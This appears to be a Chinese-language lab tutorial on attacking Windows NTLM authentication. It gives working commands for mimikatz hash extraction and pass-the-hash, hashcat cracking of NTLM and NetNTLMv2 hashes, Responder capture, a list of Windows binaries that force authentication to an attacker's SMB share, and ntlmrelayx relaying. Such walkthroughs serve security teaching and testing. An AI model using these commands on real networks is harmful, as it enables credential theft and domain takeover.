最新公告
  • 欢迎您光临剑来源码,购买独家源码,请前往销售大厅!立即加入我们
  • 内网渗透——针对hash的攻击

    本文从hash获取方式,爆破hash,hash中转,中继等方面全面分析,以直观详细的实践来了解攻击过程,过程比较详细,请耐心观看。

    0x02 什么是NTLM-hash、net NTLM-hash
    NTLM hash是windows登录密码的一种hash,可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),获取该hash之后,可进行爆破明文、哈希传递(PtH攻击),
    Net-NTLM的hash是基于NTLM的hash值经过一定的算法产生的,获取Net-NTLM的hash之后,可进行爆破明文、利用smb进行中继攻击,该hash不能进行哈希传递攻击。什么是NTLM hash?
    NTLM hash的生成方法:
    1、将明文口令转换成十六进制的格式
    2、把十六进制转换成Unicode格式,每个字节之后添加0x00
    3、再对Unicode字符串作MD4加密,生成32位的十六进制数字串
    这里我通过mimikatz工具先直观的了解NTLM hash,mimikatz直接从 lsass.exe 里获取windows处于active状态账号明文密码,以windows server2012为例:

    内网渗透——针对hash的攻击插图

    从上图发现:
    NTLM hash:A1E33A2281B8C6DBC2373BFF87E8CB6E
    明文密码:123456Abc

    0x03 对NTLM hash暴力破解
    如果通过其它途径获得此hash,即A1E33A2281B8C6DBC2373BFF87E8CB6E,可用hashcat进行字典暴力破解,Hashcat参数如下:
    hashcat64.exe -m 1000 A1E33A2281B8C6DBC2373BFF87E8CB6E example.dict -o out.txt —force

    内网渗透——针对hash的攻击插图(1)

    参数说明:-m 选择哈希类别,1000为NTLM-o 输出破解成功的明文example.dict 明文字典
    打开out.txt,发现明文123456Abc

    内网渗透——针对hash的攻击插图(2)

    注意:
    由于windows server2012 r2、windwos 8.1以及更高版本都做了加固,即禁止明文缓存到内存,而mimikatz是基于内存获取明文密码,则无法直接通过mimikatz获取明文密码,直接提取结果为“null”,但可通过修改注册表来获取。

    内网渗透——针对hash的攻击插图(3)

    0x04 NTLM哈希传递
    哈希传递通俗来讲,就是不需要明文登录,用NTLM hash可直接进行登录。
    在我们使用某服务时,Windows会带上自身的认证信息进行尝试登录,这个认证信息其实就是Net-NTLM的Hash,我们使用哪些服务会让Windows带上自身认证信息登录?如访问smb共享文件夹等,此时会使用认证信息尝试登录,并且调用lsass内存中的hash缓存尝试登录,此时使用mimikatz等工具修改缓存的hash为获取得到的hash,从而使用修改的hash进行登录,这是哈希传递的原理。文章后面讲到的获取Net-NTLM的hash,其实就是利用带认证信息访问smb,如让管理员访问此wdb:,192.168.191.129被攻击者控制的一台内网PC,可获取管理员的Net-NTLM hash。
    先讲下认证请求过程:
    1、客户端先对在本地对密码加密成为密码散列2、客户端发送认证请求,即发生明文账号3、服务器返回一个16位的随机数字发送给客户端,作为一个 challenge4、客户端再用步骤1的密码散列来加密这个 challenge ,作为 response返回给服务器。5、服务器把用户名、给客户端的challenge 、客户端返回的 response ,发送域控制器6、域控制器使用此用户名在SAM密码管理库的密码散列,加密给客户端的challenge7、与步骤4客户端加密的challenge比较,如果两个challenge一致,认证成功
    哈希传递漏洞发生在步骤4中,直接使用修改缓存后的hash,进行challenge加密,对challenge 加密的hash已经不是发送账号对应的hash,而是攻击者通过其他途径获取的hash进行challenge加密。Pth攻击演示:
    靶机ip:

    内网渗透——针对hash的攻击插图(4)

    攻击机ip:

    内网渗透——针对hash的攻击插图(5)

    假设已经获得NTLM hash:

    内网渗透——针对hash的攻击插图(6)

    管理员身份运行mimikatz:

    内网渗透——针对hash的攻击插图(7)

    mimikatz执行命令参数:
    sekurlsa::pth /user:Ancert /domain:WIN-0HE0PTAL9L4 /ntlm:A1E33A2281B8C6DBC2373BFF87E8CB6E
    此时再进行其它认证操作,可直接用获取的目标hash进行登录认证。

    0x05 Net-NTLM hash获取
    Net-NTLM hash不能直接获取,通过Responder工具进行拦截获取,此hash不能进行哈希传递,但可进行中继转发,利用Responder等中间人工具,结合其它工具可自动化进行拦截获取并中继转发,其它工具如 Impacket的ntlmrelayx.py进行中继转发。
    在攻击机上运行Responder,此时攻击机模拟为SMB服务让受害者进行认证登录,通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash,当受害者机器尝试登陆攻击者机器,responder就可以获取受害者机器用户的NTLMv2哈希值。。

    Responder下载安装:
    https://github.com/lgandx/Responder
    Responder操作演示
    客户端IP:

    内网渗透——针对hash的攻击插图(8)

    攻击机IP:

    内网渗透——针对hash的攻击插图(9)

    1、 无需编辑Responder.conf,因为此时SMB、HTTP服务不要关闭,等中继攻击时才关闭这两个服务。因此这里先演示Responder怎么获取net-NTLM hash,在中继攻击里关闭SMB、HTTP,是因为此时不再由Responder获取hash,而是直接让ntlmrelayx.py来完成这一任务。

    内网渗透——针对hash的攻击插图(10)

    2、 攻击机执行 python Responder.py -I eth0,此时处于监听状态内网渗透——针对hash的攻击插图(11)

    3、 利用SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash。客户端执行如下命令,攻击机的Responder能收到。
    > net.exe use \hostshare
    > attrib.exe \hostshare
    > bcdboot.exe \hostshare
    > bdeunlock.exe \hostshare
    > cacls.exe \hostshare
    > certreq.exe \hostshare #(noisy, pops an error dialog)
    > certutil.exe \hostshare
    > cipher.exe \hostshare
    > ClipUp.exe -l \hostshare
    > cmdl32.exe \hostshare
    > cmstp.exe /s \hostshare
    > colorcpl.exe \hostshare #(noisy, pops an error dialog)
    > comp.exe /N=0 \hostshare \hostshare
    > compact.exe \hostshare
    > control.exe \hostshare
    > convertvhd.exe -source \hostshare -destination \hostshare
    > Defrag.exe \hostshare
    > diskperf.exe \hostshare
    > dispdiag.exe -out \hostshare
    > doskey.exe /MACROFILE=\hostshare
    > esentutl.exe /k \hostshare
    > expand.exe \hostshare
    > extrac32.exe \hostshare
    > FileHistory.exe \hostshare #(noisy, pops a gui)
    > findstr.exe * \hostshare
    > fontview.exe \hostshare #(noisy, pops an error dialog)
    > fvenotify.exe \hostshare #(noisy, pops an access denied error)
    > FXSCOVER.exe \hostshare #(noisy, pops GUI)
    > hwrcomp.exe -check \hostshare
    > hwrreg.exe \hostshare
    > icacls.exe \hostshare
    > licensingdiag.exe -cab \hostshare
    > lodctr.exe \hostshare
    > lpksetup.exe /p \hostshare /s
    > makecab.exe \hostshare
    > msiexec.exe /update \hostshare /quiet
    > msinfo32.exe \hostshare #(noisy, pops a “cannot open” dialog)
    > mspaint.exe \hostshare #(noisy, invalid path to png error)
    > msra.exe /openfile \hostshare #(noisy, error)
    > mstsc.exe \hostshare #(noisy, error)
    > netcfg.exe -l \hostshare -c p -i foo
    客户端执行 net use 192.168.191.131aaa

    内网渗透——针对hash的攻击插图(12)

    4、 攻击机成功收到NTLMv2-SSP Hash

    内网渗透——针对hash的攻击插图(13)

    Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000
    爆破net-NTLM hash
    继续用hashcat进行hash爆破,Hashcat参数如下:
    hashcat64.exe -m 5600 Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000 example.dict -o out.txt –force
    参数说明:
    -m 选择哈希类别,5600为net-NTLM
    成功破解出明文密码,如下图:

    内网渗透——针对hash的攻击插图(14)

    打开out.txt,发现破解出明文123456Abc
    内网渗透——针对hash的攻击插图(15)

    0x06 SMB中继攻击
    前面文章说过了,当获取到net-NTLM hash之后,由于不能通过类似哈希传递的修改缓存hash进行认证,此hash无法进行哈希传递,怎么进行攻击呢?可通过Responder工具拦截管理员的net-NTLM hash,配合ntlmrelayx.py进行中继转发。
    Impacket下载:
    git clone https://github.com/CoreSecurity/impacket.git
    进行中继前提:目标SMB签名需要关闭,在SMB连接中,需要使用安全机制来保护服务器和客户端之间传输数据的完整性,而这种安全机制就是SMB签名和加密,如果关闭SMB签名,会允许攻击者拦截认证过程,并且将获得hash在其他机器上进行重放,,从而获得域管权限。
    目前SMB常用来做为SMB文件共享、打印机,如果签名关闭,可能导致文件共享、打印机被入侵。
    比如我用虚拟机搭建的SMB文件共享如下,具体认证登录过程文章前面部分已讲过,看看这个效果:
    虚拟机IP:192.168.191.139
    内网渗透——针对hash的攻击插图(16)

    内网渗透——针对hash的攻击插图(17)

    先探测目标是否已关闭SMB签名,命令如下:
    nmap –script smb-security-mode.nse -p445 192.168.191.139 –open

    内网渗透——针对hash的攻击插图(18)

    如下是我用虚拟机搭建的域控环境测试,中继转发操作:
    域内普通用户-受害者机器(win7)

    内网渗透——针对hash的攻击插图(19)

    域管理员(administrator)机器(windows server 2012 r2)内网渗透——针对hash的攻击插图(20)

    kali linux 攻击者机器

    内网渗透——针对hash的攻击插图(21)

    1、Responder关闭SMB、HTTP
    内网渗透——针对hash的攻击插图(22)
    2、执行python Responder.py -I eth0 -r -d –w

    内网渗透——针对hash的攻击插图(23)

    3、执行python ntlmrelayx.py -tf targets.txt -socks -smb2support
    说明 :
    targets.txt内容为域内受害IP 192.168.191.139
    python ntlmrelayx.py -t 192.168.191.139 -socks -smb2support //

    内网渗透——针对hash的攻击插图(24)

    4、域管模拟输入一个共享,生成一个LLMNR请求

    内网渗透——针对hash的攻击插图(25)

    5、通过Responder发送
    内网渗透——针对hash的攻击插图(26)

    6、NTLMv2哈希凭据被中继

    内网渗透——针对hash的攻击插图(27)

    攻击流程总结:
    1、关闭Responder的SMB和HTTP服务, 运行Responder工具来截取Net-NTLM哈希值
    2、运行ntlmrelayx.py脚本,将Net-NTLM哈希值发送到ntlmrelayx.py脚本的SMB和HTTP服务
    3、ntlmrelayx.py将hash发送到目标列表中,如果中继操作执行成功会触发通知命令。
    这里先大概熟悉下中继转发的原理基础,在下一篇会结合DeathStar和Empire,演示自动化域渗透,以及对net NTLM-hash的利用。

    剑来源码专注于网络资源分享,百度搜索:剑来源码。
    剑来源码 » 内网渗透——针对hash的攻击

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    剑来源码
    专注为开发人员提供建站资源

    发表评论

    升级SVIP尊享更多特权立即升级